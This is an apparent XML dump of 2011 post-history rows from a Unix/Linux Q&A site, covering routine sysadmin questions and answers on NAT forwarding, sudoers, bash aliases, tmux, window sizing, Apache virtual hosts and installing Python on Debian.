  <row Id="13585" PostHistoryTypeId="2" PostId="5995" RevisionGUID="f645ed35-fd66-458a-a98a-fbc88638326e" CreationDate="2011-01-17T18:50:19.370" UserId="3432" Text="     echo 1 &gt; /proc/sys/net/ipv4/ip_forward&#xD;&#xA;&#xD;&#xA;or edit /etc/sysctl.conf and set 1 to the net.ipv4.ip_forward (It should be net.ipv4.ip_forward=1). This will make that change persistant after a reboot.&#xD;&#xA;&#xD;&#xA;     iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE&#xD;&#xA;&#xD;&#xA;(or you can save it in rc.local file)&#xD;&#xA;&#xD;&#xA;eth0 - replace with your Dell Wifi port &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;connect the two machines with crosover LAN cable&#xD;&#xA;" />
  <row Id="13586" PostHistoryTypeId="2" PostId="5996" RevisionGUID="c7b08bed-3d57-49b4-a1eb-3977e757b4ba" CreationDate="2011-01-17T19:54:56.543" UserId="3894" Text="Hi,&#xD;&#xA;&#xD;&#xA;I would like to know how can I give permissions in sudoers such that each member of a group is able to kill the process owned by another member of the group.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Scenario: I have two users -- bill and dev-cron who are members of the group tech. I'd like bill to be able to kill processes started by dev-cron." />
  <row Id="13587" PostHistoryTypeId="1" PostId="5996" RevisionGUID="c7b08bed-3d57-49b4-a1eb-3977e757b4ba" CreationDate="2011-01-17T19:54:56.543" UserId="3894" Text="Adding kill to a sudoers group" />
  <row Id="13588" PostHistoryTypeId="3" PostId="5996" RevisionGUID="c7b08bed-3d57-49b4-a1eb-3977e757b4ba" CreationDate="2011-01-17T19:54:56.543" UserId="3894" Text="élinuxàédebianàépermissionsàésudoà" />
  <row Id="13589" PostHistoryTypeId="25" PostId="5991" RevisionGUID="e43bcb74-39d4-430c-9f49-32ef2296e958" CreationDate="2011-01-17T19:55:39.563" Comment="http://twitter.com/#!/StackUnix/status/27091700455317504" />
  <row Id="13590" PostHistoryTypeId="5" PostId="5996" RevisionGUID="2ea81df3-4e56-4d79-b43a-72f87a712da4" CreationDate="2011-01-17T20:03:08.107" UserId="73" Comment="deleted 15 characters in body" Text="How can I give permissions in `sudoers` such that each member of a group is able to kill the process owned by another member of the group?&#xD;&#xA;&#xD;&#xA;Scenario: I have two users -- `bill` and `dev-cron` -- who are members of the group `tech`. I'd like `bill` to be able to kill processes started by `dev-cron`." />
  <row Id="13591" PostHistoryTypeId="2" PostId="5997" RevisionGUID="74d1200c-462d-437f-a557-4a38c35a1533" CreationDate="2011-01-17T20:19:50.553" UserId="885" Text="Where you can put a user name in `sudoers`, you can also put `%` followed by a group name, `+` followed by a netgroup name, or an alias for a list of users (defined with the `User_Alias` keyword.&#xD;&#xA;&#xD;&#xA;    %tech ALL = (%tech) /bin/kill&#xD;&#xA;&#xD;&#xA;Though considering your use case, I wonder why you don't just use&#xD;&#xA;&#xD;&#xA;    bill ALL = (dev-cron) /bin/kill&#xD;&#xA;" />
  <row Id="13592" PostHistoryTypeId="6" PostId="5996" RevisionGUID="c4b92cf4-66ac-449c-bf00-afe8ab608265" CreationDate="2011-01-17T20:20:08.353" UserId="885" Comment="edited tags" Text="ésudoàékillàégroupà" />
  <row Id="13593" PostHistoryTypeId="5" PostId="5993" RevisionGUID="582b6a8a-1923-417e-9a64-ba55b511dbd0" CreationDate="2011-01-17T20:22:00.583" UserId="885" Comment="added missing `source`" Text="The alias you have defined will only take effect once the `alias` command is actually called.  Thus if you were to do this:&#xD;&#xA;&#xD;&#xA;    $ source myscript&#xD;&#xA;    $ e &quot;Hello&quot;&#xD;&#xA;&#xD;&#xA;It should work.  However, this is clearly not ideal since you want `e` to be available whenever you start bash.  Luckily, bash provides a number of ways to automatically run commands when the shell is started.  For the full details of how bash starts up, see [the manual page][1].  For our purposes, it is enough to know that `~/.bashrc` (that is, a file named &quot;.bashrc&quot; in your home directory) is run as your shell starts up.  One way to make your alias available at startup would be to add this line at the end of `~/.bashrc`:&#xD;&#xA;&#xD;&#xA;    source myscript&#xD;&#xA;&#xD;&#xA;However, if you were to do this for every alias you wanted, your `/usr/bin` folder would likely become a mess.  And, if you are on a multi-user system, filling `/usr/bin/` with scripts like this may cause other users problems as well.  Thus, it is better to place your aliases right inside `.bashrc` and forgo the separate script all together.  Since you are using Ubuntu, inside your `.bashrc` file you probably have something that looks like this:&#xD;&#xA;&#xD;&#xA;    if [ -f ~/.bash_aliases ]; then&#xD;&#xA;    . ~/.bash_aliases &#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;This code looks for a file call `.bash_aliases` in your home directory and runs anything it finds in that file as well.  If you have this, or if you add this code to your `.bashrc`, you could also put your alias in `~/.bash_aliases`. This provides an easy way to keep all your aliases in one place and keep your `.bashrc` file uncluttered.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://manpages.ubuntu.com/manpages/maverick/en/man1/bash.1.html#contenttoc6" />
  <row Id="13594" PostHistoryTypeId="6" PostId="5991" RevisionGUID="abd7c414-e7c5-41e0-b7a2-992e56abbec4" CreationDate="2011-01-17T20:22:23.687" UserId="885" Comment="edited tags" Text="ébashàéshellöscriptà" />
  <row Id="13595" PostHistoryTypeId="6" PostId="5988" RevisionGUID="7227ffc0-ce7a-4ae0-a0c8-0532696719ca" CreationDate="2011-01-17T20:26:26.787" UserId="885" Comment="edited tags" Text="élinuxàéipodà" />
  <row Id="13596" PostHistoryTypeId="6" PostId="5988" RevisionGUID="07c77bd9-5020-42cf-864c-68edb82a62a7" CreationDate="2011-01-17T20:26:37.423" UserId="885" Comment="edited tags" Text="élinuxàésoftwareörecàéipodà" />
  <row Id="13597" PostHistoryTypeId="6" PostId="5982" RevisionGUID="e9f7b23d-5d49-4f1f-be6b-04d31507ba6c" CreationDate="2011-01-17T20:27:37.643" UserId="885" Comment="edited tags" Text="ésoftwareörecàéimageömanipulationàémetadataà" />
  <row Id="13598" PostHistoryTypeId="5" PostId="5526" RevisionGUID="4e32de40-4aac-4614-a210-86f611a37d33" CreationDate="2011-01-17T20:31:35.000" UserId="885" Comment="added 140 characters in body" Text="Don't confuse the terminal, which is the environment for text mode programs, with the [tag:shell], which executes commands.&#xD;&#xA;&#xD;&#xA;### Background&#xD;&#xA;&#xD;&#xA;In a unix context, a terminal is an environment for text input and output. Historically, a terminal was a physical device, but these days most terminals are provided by [terminal emulators](http://en.wikipedia.org/wiki/Terminal_emulator).&#xD;&#xA;&#xD;&#xA;If your display is in text mode, this is usually known as a “text console”, or sometimes (somewhat confusingly) as a “virtual terminal”.&#xD;&#xA;&#xD;&#xA;A “terminal” can be graphical, but in a unix context there will normally be a qualifier, e.g. “[X terminal](http://en.wikipedia.org/wiki/X_terminal)”.&#xD;&#xA;&#xD;&#xA;Most interactive programs run inside terminals are of one of two kinds:&#xD;&#xA;&#xD;&#xA;* [read-eval-print loops](/wiki/Read-eval-print_loop) are programs that read a line, then execute it. Unix [shells](http://unix.stackexchange.com/tags/shell/info) are examples of this.&#xD;&#xA;* full-screen text mode programs, such as `emacs -nw`, `lynx`, `nethack`, `vi`, …&#xD;&#xA;&#xD;&#xA;### Escape sequences&#xD;&#xA;&#xD;&#xA;A terminal and the program inside it communicate by exchanging text with embedded escape sequences. When you type a character in a terminal, the program receives that character; if you type a function key, the terminal usually converts it to an escape sequence. In the other direction, if the program outputs a printable character, the terminal displays it; if the program outputs a control character, it performs a function such as moving the cursor, changing the color, etc. Most terminals are compatible with [Xterm control sequences](http://invisible-island.net/xterm/xterm.faq.html#ctlseqs_ms).&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* [What is the exact difference between a 'terminal', a 'shell', a 'tty' and a 'console'?](http://unix.stackexchange.com/questions/4126/what-is-the-exact-difference-between-a-terminal-a-shell-a-tty-and-a-cons)&#xD;&#xA;* [What protocol/standard is used by terminals?](http://unix.stackexchange.com/questions/5800/what-protocol-standard-is-used-by-terminals)&#xD;&#xA;* [Is screen useful?](http://unix.stackexchange.com/questions/4116/is-screen-useful)&#xD;&#xA;* [How can I close a terminal without killing the command running in it?](http://unix.stackexchange.com/questions/4004/how-can-i-close-a-terminal-without-killing-the-command-running-in-it)&#xD;&#xA;" />
  <row Id="13599" PostHistoryTypeId="5" PostId="5988" RevisionGUID="3d20774f-a3e0-4e9e-a469-f02a61d8c02a" CreationDate="2011-01-17T20:36:36.737" UserId="1207" Comment="deleted 20 characters in body; edited title; edited title" Text="I am using Ubuntu and would like to know the answer to this question:&#xD;&#xA;&#xD;&#xA;- How does one determine whether his/her Apple iPod Shuffle's charge is full in Linux?&#xD;&#xA;&#xD;&#xA;In Windows it's easy since iTunes shows the charge. But in Linux neither Rhytmbox nor gtkpod shows the battery charge. Any help regarding this." />
  <row Id="13600" PostHistoryTypeId="4" PostId="5988" RevisionGUID="3d20774f-a3e0-4e9e-a469-f02a61d8c02a" CreationDate="2011-01-17T20:36:36.737" UserId="1207" Comment="deleted 20 characters in body; edited title; edited title" Text="How can I check the charge of an Apple iPod Shuffle?" />
  <row Id="13601" PostHistoryTypeId="2" PostId="5998" RevisionGUID="82e0660c-5acb-4866-8e2b-3346b3f95cc7" CreationDate="2011-01-17T21:02:34.967" UserId="3897" Text="Hi,&#xD;&#xA;&#xD;&#xA;I'm looking at `tmux` from `screen`, and have hit a bump while configuring the (highly configurable!) `tmux` key bindings.&#xD;&#xA;&#xD;&#xA;Problem is, in my `.screenrc` i have&#xD;&#xA;&#xD;&#xA;    bindkey ^[[d prev&#xD;&#xA;    bindkey ^[[c next&#xD;&#xA;    bindkey ^[[a title&#xD;&#xA;    bindkey ^[[b screen 1&#xD;&#xA;&#xD;&#xA;and the bindings work (they originally came from `rxvt-tabbedex`).&#xD;&#xA;&#xD;&#xA;But in `tmux` there's apparently no way to bind commands to shift+arrow combinations. Please prove me wrong. :)" />
  <row Id="13602" PostHistoryTypeId="1" PostId="5998" RevisionGUID="82e0660c-5acb-4866-8e2b-3346b3f95cc7" CreationDate="2011-01-17T21:02:34.967" UserId="3897" Text="How do i bind to Shift+arrow in tmux?" />
  <row Id="13603" PostHistoryTypeId="3" PostId="5998" RevisionGUID="82e0660c-5acb-4866-8e2b-3346b3f95cc7" CreationDate="2011-01-17T21:02:34.967" UserId="3897" Text="éscreenàétmuxà" />
  <row Id="13604" PostHistoryTypeId="2" PostId="5999" RevisionGUID="6b44dc59-b196-4d4e-8515-5087159bb1df" CreationDate="2011-01-17T21:31:36.433" UserId="3899" Text="I'm trying to start an application within Ubuntu (xfce or gnome) and via the &#xD;&#xA;command line and was wondering if there's a generic way to set the dimensions of a&#xD;&#xA;given window of a given app that is currently running?" />
  <row Id="13605" PostHistoryTypeId="1" PostId="5999" RevisionGUID="6b44dc59-b196-4d4e-8515-5087159bb1df" CreationDate="2011-01-17T21:31:36.433" UserId="3899" Text="Setting the window dimensions of a running application" />
  <row Id="13606" PostHistoryTypeId="3" PostId="5999" RevisionGUID="6b44dc59-b196-4d4e-8515-5087159bb1df" CreationDate="2011-01-17T21:31:36.433" UserId="3899" Text="éubuntuàégnomeàéwindowömanageràéxfceà" />
  <row Id="13607" PostHistoryTypeId="2" PostId="6000" RevisionGUID="b0a6130c-3329-4428-8fbd-55db09c509a9" CreationDate="2011-01-17T21:45:38.813" UserId="73" Text="If the window manager supports Xlib there is. This uses Python to set the window's size to 500x300:&#xD;&#xA;&#xD;&#xA;    WIDTH, HEIGHT = 500, 300&#xD;&#xA;    import Xlib&#xD;&#xA;    import Xlib.display&#xD;&#xA;    &#xD;&#xA;    display = Xlib.display.Display()&#xD;&#xA;    root = display.screen().root&#xD;&#xA;    windowID = root.get_full_property(display.intern_atom('_NET_ACTIVE_WINDOW'), Xlib.X.AnyPropertyType).value[0]&#xD;&#xA;    window = display.create_resource_object('window', windowID)&#xD;&#xA;    window.configure(width = WIDTH, height = HEIGHT)&#xD;&#xA;    display.sync()&#xD;&#xA;&#xD;&#xA;The hard part is getting the window ID; in the above code it got the ID of the active window. If you want another ID, you can use something like this to get the title and controlling PID of each window, and choose the right ID based on those:&#xD;&#xA;&#xD;&#xA;    windowIDs = root.get_full_property(display.intern_atom('_NET_CLIENT_LIST'), Xlib.X.AnyPropertyType).value&#xD;&#xA;    for windowID in windowIDs:&#xD;&#xA;    	window = display.create_resource_object('window', windowID)&#xD;&#xA;    	name = window.get_wm_name() # Title&#xD;&#xA;    	pid = window.get_full_property(display.intern_atom('_NET_WM_PID'), Xlib.X.AnyPropertyType) # PID&#xD;&#xA;" />
  <row Id="13608" PostHistoryTypeId="2" PostId="6001" RevisionGUID="d8064a7e-4331-49cb-ac73-87c936b654dd" CreationDate="2011-01-17T22:13:58.163" UserId="1071" Text="This is easier to do if you install something like &lt;a href=&quot;http://packages.ubuntu.com/xdotool&quot;&gt;`xdotool`&lt;/a&gt;. Then you can do:&#xD;&#xA;&#xD;&#xA;`xdotool search --name &quot;window name&quot; windowsize 300 400`&#xD;&#xA;&#xD;&#xA;replace &quot;window name&quot; with a name or reg ex appearing in the window title (you can also search by window class and a variety of other things), and the two numbers appearing after windowsize are the width and height, respectively. (You can also use percents, etc.) See `man xdotool` once it's installed.&#xD;&#xA;&#xD;&#xA;If you're on Lucid or earlier, I recommend going to the &lt;a href=&quot;http://www.semicomplete.com/projects/xdotool/&quot;&gt;xdotool website&lt;/a&gt; to get a newer version, however.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13609" PostHistoryTypeId="2" PostId="6002" RevisionGUID="eee335fd-93a9-4916-a548-7a6525958411" CreationDate="2011-01-17T22:24:20.123" UserId="688" Text="I hardly ever hear anyone mention `dselect`, a deprecated package management front-end for Debian. Considering that it still exists as part of [dpkg source][1], it must still have its uses. What are those? How does it compare with `apt-get`?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://packages.debian.org/source/testing/dpkg" />
  <row Id="13610" PostHistoryTypeId="1" PostId="6002" RevisionGUID="eee335fd-93a9-4916-a548-7a6525958411" CreationDate="2011-01-17T22:24:20.123" UserId="688" Text="What are pros/cons of dselect and apt-get?" />
  <row Id="13611" PostHistoryTypeId="3" PostId="6002" RevisionGUID="eee335fd-93a9-4916-a548-7a6525958411" CreationDate="2011-01-17T22:24:20.123" UserId="688" Text="éaptàédselectà" />
  <row Id="13612" PostHistoryTypeId="2" PostId="6003" RevisionGUID="a99617c6-9a14-4b4f-a7f6-8a87a003eaf1" CreationDate="2011-01-17T22:39:12.423" UserId="885" Text="Dselect is an interactive dpkg front-end that resolves dependencies and conflicts. It lacks most of apt's advanced features: no differenciation between Suggests/Recommends/Depends, less good dependency and conflict resolution, no support for multiple sources of packages, no [apt pinning/preferences](http://en.wikipedia.org/wiki/Advanced_Packaging_Tool#APT_pinning), no automatically-installed package mark, …&#xD;&#xA;&#xD;&#xA;(This is from memory. Actually dselect can now use apt backends for some functions, at least it can download from apt's `sources.list`.)&#xD;&#xA;&#xD;&#xA;Dselect got a lot of hate simply from having unusual key bindings. I think your question will bring out unfond memories in some people.&#xD;&#xA;&#xD;&#xA;I suppose dselect can still be useful if you want an interactive package selector with smaller memory consumption than apt.&#xD;&#xA;" />
  <row Id="13613" PostHistoryTypeId="25" PostId="6002" RevisionGUID="4ac4b0eb-cee2-4a0b-912f-a7c92c3958d4" CreationDate="2011-01-17T22:55:39.940" Comment="http://twitter.com/#!/StackUnix/status/27137000964362240" />
  <row Id="13614" PostHistoryTypeId="2" PostId="6004" RevisionGUID="55277410-ee6d-45b6-82dc-a84a5c879b09" CreationDate="2011-01-17T23:11:18.413" UserId="3901" Text="Once i tried to make a virtual host, and the problem was that if i make another file in `/etc/apache2/sites-available/` that says &#xD;&#xA; &#xD;&#xA;    ...&#xD;&#xA;    DocumentRoot /var/www/newsite&#xD;&#xA;    ServerName   newsite&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Then save it, restart apache, and appending `/etc/hosts` like this:&#xD;&#xA;&#xD;&#xA;    127.0.0.1 newsite&#xD;&#xA;&#xD;&#xA;I get the page that corresponds the DocumentRoot from `/etc/apache2/sites-available/default`&#xD;&#xA;&#xD;&#xA;That time i left it unsolved. Now i want to do it once again and i get the same problem. Despite the fact that i use different version of linux distro. I feel like i'm doomed.&#xD;&#xA;&#xD;&#xA;Any help would be very appreciated" />
  <row Id="13615" PostHistoryTypeId="1" PostId="6004" RevisionGUID="55277410-ee6d-45b6-82dc-a84a5c879b09" CreationDate="2011-01-17T23:11:18.413" UserId="3901" Text="Ploblem making a virtual host with apache" />
  <row Id="13616" PostHistoryTypeId="3" PostId="6004" RevisionGUID="55277410-ee6d-45b6-82dc-a84a5c879b09" CreationDate="2011-01-17T23:11:18.413" UserId="3901" Text="éapacheà" />
  <row Id="13617" PostHistoryTypeId="6" PostId="5999" RevisionGUID="fc17cc3b-d4c7-4174-86d9-aef5364eb7ae" CreationDate="2011-01-17T23:18:39.253" UserId="885" Comment="edited tags" Text="éwindowömanageràéx11àéutilitiesà" />
  <row Id="13618" PostHistoryTypeId="2" PostId="6005" RevisionGUID="b9de8175-b3b6-4f22-b01a-8ef9a9e6ce77" CreationDate="2011-01-17T23:24:19.043" UserId="1144" Text="did you enable the site using the *a2ensite* command? The */etc/apache2/sites-available* directory lists those that you have setup but it needs to be in */etc/apache2/sites-enabled* to be picked up when you next reload the apache2 configuration.&#xD;&#xA;" />
  <row Id="13619" PostHistoryTypeId="2" PostId="6006" RevisionGUID="dc6f62ee-1d00-4412-8e9b-c2295091ca5a" CreationDate="2011-01-17T23:42:28.697" UserId="688" Text="Please recommend a tool that checks for broken links on a site.&#xD;&#xA;" />
  <row Id="13620" PostHistoryTypeId="1" PostId="6006" RevisionGUID="dc6f62ee-1d00-4412-8e9b-c2295091ca5a" CreationDate="2011-01-17T23:42:28.697" UserId="688" Text="A tool for checking broken links" />
  <row Id="13621" PostHistoryTypeId="3" PostId="6006" RevisionGUID="dc6f62ee-1d00-4412-8e9b-c2295091ca5a" CreationDate="2011-01-17T23:42:28.697" UserId="688" Text="ésoftwareörecà" />
  <row Id="13622" PostHistoryTypeId="5" PostId="6006" RevisionGUID="8cb6a92d-7858-41a3-aff1-bf0c67f5438d" CreationDate="2011-01-17T23:51:56.130" UserId="688" Comment="added 179 characters in body; edited tags" Text="Please recommend a tool that checks for broken links on a site. I'm specifically looking for something that will check my blog.&#xD;&#xA;&#xD;&#xA;[__note__] Any extra functionality, like standards-compliance of the HTML and CSS is welcome, but not required.&#xD;&#xA;" />
  <row Id="13623" PostHistoryTypeId="6" PostId="6006" RevisionGUID="8cb6a92d-7858-41a3-aff1-bf0c67f5438d" CreationDate="2011-01-17T23:51:56.130" UserId="688" Comment="added 179 characters in body; edited tags" Text="ésoftwareörecàéwebà" />
  <row Id="13624" PostHistoryTypeId="4" PostId="6006" RevisionGUID="0dfe6180-a8a9-4579-9ce0-eebfb5a9dd8b" CreationDate="2011-01-17T23:59:39.650" UserId="688" Comment="edited title; added 4 characters in body" Text="A tool for checking broken web links" />
  <row Id="13625" PostHistoryTypeId="5" PostId="6006" RevisionGUID="0dfe6180-a8a9-4579-9ce0-eebfb5a9dd8b" CreationDate="2011-01-17T23:59:39.650" UserId="688" Comment="edited title; added 4 characters in body" Text="Please recommend a tool that checks for broken links on a web site. I'm specifically looking for something that will check my blog.&#xD;&#xA;&#xD;&#xA;[__note__] Any extra functionality, like standards-compliance of the HTML and CSS is welcome, but not required.&#xD;&#xA;" />
  <row Id="13626" PostHistoryTypeId="5" PostId="6006" RevisionGUID="9801389b-92da-4660-9364-a8714b1e1606" CreationDate="2011-01-18T00:05:31.237" UserId="688" Comment="added 1 characters in body; edited body; deleted 42 characters in body; added 9 characters in body" Text="Please recommend a tool that checks for broken links on a web site.&#xD;&#xA;&#xD;&#xA;__not required, but would be nice to have__:&#xD;&#xA;&#xD;&#xA;* checks standards-compliance of the HTML, CSS, Javascript, ...&#xD;&#xA;* displays permanent redirects&#xD;&#xA;" />
  <row Id="13627" PostHistoryTypeId="25" PostId="5999" RevisionGUID="e87f9d9e-ed65-413e-b979-b735acb4f902" CreationDate="2011-01-18T01:55:39.627" Comment="http://twitter.com/#!/StackUnix/status/27182297832751104" />
  <row Id="13628" PostHistoryTypeId="2" PostId="6007" RevisionGUID="2af269e5-c765-4b75-8f77-25e81fb647f9" CreationDate="2011-01-18T01:57:13.027" UserId="3032" Text="This might sound crazy, but bear with me ;)&#xD;&#xA;&#xD;&#xA;I am making a DIY camera trigger, and I would like to see if I can trigger it remotely by plugging it into my Microphone or Headphone ports. It's a basic `2.5 mm --&gt; 3.5 mm` plug, and all I need to do is short the first and last, first and second, and all three to focus, trigger, and focus and trigger.&#xD;&#xA;&#xD;&#xA;It's a bit hard to explain, but is it possible to send electrical signals directly through those ports? I'm up to some C++ or Python (heh) if I have to..." />
  <row Id="13629" PostHistoryTypeId="1" PostId="6007" RevisionGUID="2af269e5-c765-4b75-8f77-25e81fb647f9" CreationDate="2011-01-18T01:57:13.027" UserId="3032" Text="Linux: Interface/control 3.5 mm Headphone or Microphone port?" />
  <row Id="13630" PostHistoryTypeId="3" PostId="6007" RevisionGUID="2af269e5-c765-4b75-8f77-25e81fb647f9" CreationDate="2011-01-18T01:57:13.027" UserId="3032" Text="éhardwareàéportsàéwebcamà" />
  <row Id="13631" PostHistoryTypeId="2" PostId="6008" RevisionGUID="4140550e-8378-405e-a1ef-1f3df35195a7" CreationDate="2011-01-18T02:12:00.250" UserId="1875" Text="I know `dh -f` and `pwd`, but it seems a little complex for the regex matching part. Any ideas?" />
  <row Id="13632" PostHistoryTypeId="1" PostId="6008" RevisionGUID="4140550e-8378-405e-a1ef-1f3df35195a7" CreationDate="2011-01-18T02:12:00.250" UserId="1875" Text="Get the free space available in current directory? Bash programming." />
  <row Id="13633" PostHistoryTypeId="3" PostId="6008" RevisionGUID="4140550e-8378-405e-a1ef-1f3df35195a7" CreationDate="2011-01-18T02:12:00.250" UserId="1875" Text="ébashà" />
  <row Id="13634" PostHistoryTypeId="2" PostId="6009" RevisionGUID="3b494565-9d58-4e9c-bc5f-a7d7d86046d5" CreationDate="2011-01-18T02:23:52.163" UserId="3904" Text="First of all, I am new to all things Linux.&#xD;&#xA;&#xD;&#xA;I chose Debian for my Linode because it seemed stable and secure. Now I want to write some sysadmin-type scripts in Python to teach myself the language. Based on [this SO question](http://stackoverflow.com/questions/4131648/what-version-of-python-should-i-use-if-im-a-new-to-python) I've decided to go with Python 3. At very least, I'd like my Linode to have 2.6 or 2.7 because that's what's installed on my home machines. But the default for Debian is still 2.5.&#xD;&#xA;&#xD;&#xA;That's fine, but _for the life of me_ I cannot figure out how to get the python3.1 package!! It's driving me nuts!&#xD;&#xA;&#xD;&#xA;Here's a sample of what I've tried (after running `apt-get update` to make sure my package index was up to date):&#xD;&#xA;&#xD;&#xA;    root@tree ~# apt-cache search ^python$&#xD;&#xA;    python - An interactive high-level object-oriented language (default version)&#xD;&#xA;    root@tree ~# apt-cache search ^python3$&#xD;&#xA;    root@tree ~# apt-cache search ^python*$&#xD;&#xA;    python - An interactive high-level object-oriented language (default version)&#xD;&#xA;    root@tree ~# apt-cache -a search ^python*$&#xD;&#xA;    python - An interactive high-level object-oriented language (default version)&#xD;&#xA;&#xD;&#xA;I know that this package is available because I can see it right there on [debian.org](http://packages.debian.org/search?keywords=python3.1). How do I find it and install it?&#xD;&#xA;&#xD;&#xA;And after I finally figure out how to install the latest Python, am I still going to have trouble from my package manager when installing things that depend on Python? Are they going to point to the default python instead of the one I want? I'd much rather use the native package manager than use easy_install (see the reason I care about packages [here](http://morethanseven.net/2011/01/16/Why-developers-should-care-about-system-packages.html)).&#xD;&#xA;&#xD;&#xA;Oh, and I am looking for a command-line-only answer." />
  <row Id="13635" PostHistoryTypeId="1" PostId="6009" RevisionGUID="3b494565-9d58-4e9c-bc5f-a7d7d86046d5" CreationDate="2011-01-18T02:23:52.163" UserId="3904" Text="How to install Python 3.x on Debian?" />
  <row Id="13636" PostHistoryTypeId="3" PostId="6009" RevisionGUID="3b494565-9d58-4e9c-bc5f-a7d7d86046d5" CreationDate="2011-01-18T02:23:52.163" UserId="3904" Text="édebianàépackageömanagementàépythonà" />
  <row Id="13637" PostHistoryTypeId="2" PostId="6010" RevisionGUID="e9ceb533-40ba-4ba0-a14d-20d5dfd18a8b" CreationDate="2011-01-18T02:35:14.323" UserId="2416" Text="I have a problem using this methods [1][1] to get colors in my man pages in gentoo. I already in the gentoo forums but it still doesn't work, and the comments in a bug report (Bug 184604) doesn't work either. Can someone help me to get colours in my man pages?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/119/colors-in-man-pages" />
  <row Id="13638" PostHistoryTypeId="1" PostId="6010" RevisionGUID="e9ceb533-40ba-4ba0-a14d-20d5dfd18a8b" CreationDate="2011-01-18T02:35:14.323" UserId="2416" Text="Colored man pages not working on gentoo" />
  <row Id="13639" PostHistoryTypeId="3" PostId="6010" RevisionGUID="e9ceb533-40ba-4ba0-a14d-20d5dfd18a8b" CreationDate="2011-01-18T02:35:14.323" UserId="2416" Text="écolorsàémanàélessàépageràétermcapà" />
  <row Id="13640" PostHistoryTypeId="5" PostId="6009" RevisionGUID="034cfb6b-c6cb-48bb-84c9-6afa5aeb4ed7" CreationDate="2011-01-18T02:44:55.640" UserId="3904" Comment="added 132 characters in body" Text="First of all, I am new to all things Linux.&#xD;&#xA;&#xD;&#xA;I chose Debian for my Linode because it seemed stable and secure. Now I want to write some sysadmin-type scripts in Python to teach myself the language. Based on [this SO question](http://stackoverflow.com/questions/4131648/what-version-of-python-should-i-use-if-im-a-new-to-python) I've decided to go with Python 3. At very least, I'd like my Linode to have 2.6 or 2.7 because that's what's installed on my home machines. But the default for Debian is still 2.5.&#xD;&#xA;&#xD;&#xA;That's fine, but _for the life of me_ I cannot figure out how to get the python3.1 package!! It's driving me nuts!&#xD;&#xA;&#xD;&#xA;Here's a sample of what I've tried (after running `apt-get update` to make sure my package index was up to date):&#xD;&#xA;&#xD;&#xA;    root@tree ~# apt-cache search ^python$&#xD;&#xA;    python - An interactive high-level object-oriented language (default version)&#xD;&#xA;    root@tree ~# apt-cache search ^python3$&#xD;&#xA;    root@tree ~# apt-cache search ^python*$&#xD;&#xA;    python - An interactive high-level object-oriented language (default version)&#xD;&#xA;    root@tree ~# apt-cache -a search ^python*$&#xD;&#xA;    python - An interactive high-level object-oriented language (default version)&#xD;&#xA;    root@tree ~# apt-cache search ^python2\.4$&#xD;&#xA;    python2.4 - An interactive high-level object-oriented language (version 2.4)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I know that this package is available because I can see it right there on [debian.org](http://packages.debian.org/search?keywords=python3.1). How do I find it and install it?&#xD;&#xA;&#xD;&#xA;And after I finally figure out how to install the latest Python, am I still going to have trouble from my package manager when installing things that depend on Python? Are they going to point to the default python instead of the one I want? I'd much rather use the native package manager than use easy_install (see the reason I care about packages [here](http://morethanseven.net/2011/01/16/Why-developers-should-care-about-system-packages.html)).&#xD;&#xA;&#xD;&#xA;Oh, and I am looking for a command-line-only answer." />
  <row Id="13641" PostHistoryTypeId="2" PostId="6011" RevisionGUID="90c83838-1d8d-498a-8f55-f2e937ebf714" CreationDate="2011-01-18T02:54:56.920" UserId="2119" Text="The task is to replace a file's (actually of all the files in a directory) name (but leave extension intact) with a random UUID/GUID. Any ideas on how to do this?" />
  <row Id="13642" PostHistoryTypeId="1" PostId="6011" RevisionGUID="90c83838-1d8d-498a-8f55-f2e937ebf714" CreationDate="2011-01-18T02:54:56.920" UserId="2119" Text="How to rename a file into a random GUID?" />
  <row Id="13643" PostHistoryTypeId="3" PostId="6011" RevisionGUID="90c83838-1d8d-498a-8f55-f2e937ebf714" CreationDate="2011-01-18T02:54:56.920" UserId="2119" Text="éshellàébatchàérenameàéguidà" />
  <row Id="13644" PostHistoryTypeId="2" PostId="6012" RevisionGUID="94d1ef6f-3bf1-4c1c-846c-378bd6290aac" CreationDate="2011-01-18T03:27:19.057" UserId="3309" Text="Something like this:&#xD;&#xA;&#xD;&#xA;    for i in *; do mv $i $(openssl rand -hex 16).$(echo $i | sed 's/.*\.//g'); done&#xD;&#xA;&#xD;&#xA;Using `openssl rand 16` gives you 128 bit GUIDs. Use 32 if you want 265 bit GUIDs." />
  <row Id="13645" PostHistoryTypeId="2" PostId="6013" RevisionGUID="7509fcf6-cdd2-42b0-9177-ba007a1f4018" CreationDate="2011-01-18T03:29:38.670" UserId="3455" Text="After a bunch of headaches, I let this idle with `* = rw` at `SVNParentPath` level. Coming back to it, I suddenly had a stroke of obvious hit me; the read order was the issue.&#xD;&#xA;&#xD;&#xA;Firstly, my example naming conventions were flat out wrong as it should be `[&lt;repo_name&gt;:&lt;path-in-repo&gt;]`. My actual conventions were correct so syntax is not the root.&#xD;&#xA;&#xD;&#xA;The main issue is the authz file expects an order of 'specificity' where the first read rule, or available match is applied. In my case, everything would match with the root and it would be one-and-done. thus by reversing my example ordering:&#xD;&#xA;&#xD;&#xA;    [groups]&#xD;&#xA;    grp_W = a, b, c, g&#xD;&#xA;    grp_X = a, d, f, e&#xD;&#xA;    grp_Y = a, e,&#xD;&#xA;&#xD;&#xA;    [ProjectPot:/]&#xD;&#xA;    @grp_W = rw&#xD;&#xA;&#xD;&#xA;    [ProjectKettle:/]&#xD;&#xA;    @grp_X = rw&#xD;&#xA;&#xD;&#xA;    [/]&#xD;&#xA;    * = &#xD;&#xA;    @grp_Y = rw&#xD;&#xA;&#xD;&#xA;would make it accepted and perform as behaved. This is behavior *NOT DOCUMENTED* and in my opinion is a serious snafu over something utterly trivial." />
